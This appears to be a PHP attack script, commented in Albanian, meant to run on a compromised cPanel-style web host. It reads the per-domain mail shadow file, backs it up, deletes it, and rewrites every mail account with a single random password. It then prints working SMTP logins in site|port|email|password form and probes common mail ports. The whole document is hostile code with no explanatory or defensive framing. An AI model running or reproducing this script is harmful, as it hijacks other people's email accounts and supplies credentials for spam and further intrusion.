set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);

function generateRandomPassword($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $characters[rand(0, strlen($characters) - 1)];
}
return $password;
}

// Portet për skanim
$ports = array(25, 587, 465, 110, 995, 143, 993);
$primary_port = '25';

// Përdoruesi aktual
$user = get_current_user();

// Fjalëkalimi SMTP
$password = generateRandomPassword(8); // Gjenero një password të rastit

//crypt
$pwd = crypt($password, '$6$' . $password . '$');

// Emri i hostit
$t = $_SERVER['SERVER_NAME'];
$t = @str_replace("www.", "", $t);

$dirs = glob('/home/' . $user . '/etc/*', GLOB_ONLYDIR);
foreach ($dirs as $dir)
$ex = explode("/", $dir);
$site = $ex[count($ex) - 1];

// Merr fjalëkalimet
@$passwd = file_get_contents('/home/' . $user . '/etc/' . $site . '/shadow');
$ex = explode("\r\n", $passwd);

// Bëj backup të shadow
@link('/home/' . $user . '/etc/' . $site . '/shadow', '/home/' . $user . '/etc/' . $site . '/shadow.' . $password . '.bak');

// Fshij shadow
@unlink('/home/' . $user . '/etc/' . $site . '/shadow');

foreach ($ex as $ex) {
$ex = explode(':', $ex);
$e = $ex[0];
if ($e) {
$b = fopen('/home/' . $user . '/etc/' . $site . '/shadow', 'ab');
fwrite($b, $e . ':' . $pwd . ':16249:::::' . "\r\n");
fclose($b);
echo $site . '|25|' . $e . '@' . $site . '|' . $password . "
";
}
}

// Port skanimi
foreach ($ports as $port) {
$connection = @fsockopen($site, $port, $errno, $errstr, 2);
if (is_resource($connection)) {
fclose($connection);
}
}